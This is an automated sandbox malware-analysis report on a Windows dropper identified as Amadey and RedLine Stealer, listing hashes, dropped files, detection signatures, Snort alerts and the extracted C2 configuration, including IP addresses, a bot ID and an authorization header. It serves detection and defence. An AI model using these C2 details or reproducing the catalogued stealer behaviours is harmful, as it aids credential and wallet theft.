Edit tour

Windows Analysis Report
21fvBVFMsn.exe

Overview

General Information

Sample Name:	21fvBVFMsn.exe
Original Sample Name:	478e1c903cfcda85acdb9759ae80e155.exe
Analysis ID:	811560
MD5:	478e1c903cfcda85acdb9759ae80e155
SHA1:	dc03499087dfa49b93fd9ba4b1452d0af8baef46
SHA256:	fd0f2580ee525c2fbde7b187b7b385a56e1817a219da7f3c398992a2c784a7d1
Tags:	Amadeyexe
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Amadeys stealer DLL

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Disable Windows Defender real time protection (registry)

Tries to steal Crypto Currency Wallets

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

21fvBVFMsn.exe (PID: 3460 cmdline: C:\Users\user\Desktop\21fvBVFMsn.exe MD5: 478E1C903CFCDA85ACDB9759AE80E155)

sEm51bM.exe (PID: 3236 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe MD5: EE9CEC71CDD89A723F90D5013E963B02)

sMt14vz.exe (PID: 6120 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe MD5: EA0FADAB5F038CDB93F37EA867C62934)

ijx54ck.exe (PID: 6108 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe MD5: 7E93BACBBC33E6652E147E7FE07572A0)

kxL91dA.exe (PID: 3228 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe MD5: C9C03EC2426C8416841FD7E93BB9DC3D)

rundll32.exe (PID: 5388 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5188 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 4340 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about 500$ on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://asec.ahnlab.com/en/41450/ https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Amadey

{"C2 url": "193.233.20.15/dF30Hn4m/index.php", "Version": "3.67"}

Threatname: RedLine

{"C2 url": "193.233.20.17:4139", "Bot Id": "furka", "Authorization Header": "46dae41be0c00464bf56eddcc93e1bec"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134a9:$v2_1: ListOfProcesses 0x13288:$v4_3: base64str 0x13e01:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x1281b:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT

Memory Dumps

Source	Rule	Description	Author
00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: kxL91dA.exe PID: 3228	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: kxL91dA.exe PID: 3228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.21fvBVFMsn.exe.4a8da20.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.3.sMt14vz.exe.49fac20.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.sMt14vz.exe.49fac20.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134a9:$v2_1: ListOfProcesses 0x13288:$v4_3: base64str 0x13e01:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x1281b:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
5.0.kxL91dA.exe.4e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.0.kxL91dA.exe.4e0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a440:$pat14: , CommandLine: 0x134a9:$v2_1: ListOfProcesses 0x13288:$v4_3: base64str 0x13e01:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x1281b:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
2.3.sMt14vz.exe.49fac20.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.sMt14vz.exe.49fac20.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x18840:$pat14: , CommandLine: 0x118a9:$v2_1: ListOfProcesses 0x11688:$v4_3: base64str 0x12201:$v4_4: stringKey 0xff63:$v4_5: BytesToStringConverted 0xf176:$v4_6: FromBase64 0x10498:$v4_8: procName 0x10c1b:$v5_5: FileScanning 0x1016c:$v5_7: RecordHeaderField 0xfe34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.3.21fvBVFMsn.exe.4a8da20.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Snort Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 193.233.20.17 - Destination IP: 192.168.2.3

Timestamp:	193.233.20.17192.168.2.34139496992043234 02/19/23-02:32:23.476854
SID:	2043234
Source Port:	4139
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 193.233.20.17

Timestamp:	192.168.2.3193.233.20.174969941392043231 02/19/23-02:32:35.640007
SID:	2043231
Source Port:	49699
Destination Port:	4139
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 193.233.20.17

Timestamp:	192.168.2.3193.233.20.174969941392043233 02/19/23-02:32:22.070574
SID:	2043233
Source Port:	49699
Destination Port:	4139
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 21fvBVFMsn.exe	ReversingLabs: Detection: 76%
Source: 21fvBVFMsn.exe	Virustotal: Detection: 55%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: 21fvBVFMsn.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Avira: detection malicious, Label: HEUR/AGEN.1252166
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Avira: detection malicious, Label: HEUR/AGEN.1252166
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Avira: detection malicious, Label: HEUR/AGEN.1252166

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	ReversingLabs: Detection: 72%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Virustotal: Detection: 54%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	ReversingLabs: Detection: 46%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	Virustotal: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	ReversingLabs: Detection: 96%

Machine Learning detection for sample

Source: 21fvBVFMsn.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Joe Sandbox ML: detected

Source: 1.3.sEm51bM.exe.4756820.0.unpack

Avira: Label: TR/Patched.Gen

Source: 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "193.233.20.17:4139", "Bot Id": "furka", "Authorization Header": "46dae41be0c00464bf56eddcc93e1bec"}
Source: 0.3.21fvBVFMsn.exe.4a8da20.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "193.233.20.15/dF30Hn4m/index.php", "Version": "3.67"}

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A42F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	0_2_00A42F1D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00322F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	1_2_00322F1D
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	2_2_010D2F1D

Source: 21fvBVFMsn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 21fvBVFMsn.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: 0C:\nusegilo zawufeha_koboxuyokefamo\doneni.pdb source: sEm51bM.exe, 00000001.00000003.242054317.0000000004724000.00000004.00000020.00020000.00000000.sdmp, lbt58JR.exe.1.dr
Source:	Binary string: wextract.pdb source: 21fvBVFMsn.exe, sEm51bM.exe.0.dr, sMt14vz.exe.1.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: 21fvBVFMsn.exe, 00000000.00000003.241383449.0000000002ED4000.00000004.00000020.00020000.00000000.sdmp, 21fvBVFMsn.exe, 00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp, nIp99Jf.exe.0.dr
Source:	Binary string: wextract.pdbGCTL source: 21fvBVFMsn.exe, sEm51bM.exe.0.dr, sMt14vz.exe.1.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: sMt14vz.exe, 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, ijx54ck.exe, 00000003.00000000.242765935.00000000006E2000.00000002.00000001.01000000.00000006.sdmp, ijx54ck.exe.2.dr
Source:	Binary string: C:\nusegilo zawufeha_koboxuyokefamo\doneni.pdb source: sEm51bM.exe, 00000001.00000003.242054317.0000000004724000.00000004.00000020.00020000.00000000.sdmp, lbt58JR.exe.1.dr

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A42390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00A42390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00322390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00322390
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_010D2390

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2043233 ET TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49699 -> 193.233.20.17:4139
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49699 -> 193.233.20.17:4139
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 193.233.20.17:4139 -> 192.168.2.3:49699

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 193.233.20.15/dF30Hn4m/index.php
Source: Malware configuration extractor	URLs: 193.233.20.17:4139

Source: Joe Sandbox View

ASN Name: REDCOM-ASRedcomKhabarovskRussiaRU REDCOM-ASRedcomKhabarovskRussiaRU

Source: Joe Sandbox View

IP Address: 193.233.20.17 193.233.20.17

Source: global traffic

TCP traffic: 192.168.2.3:49699 -> 193.233.20.17:4139

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.20.17

Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
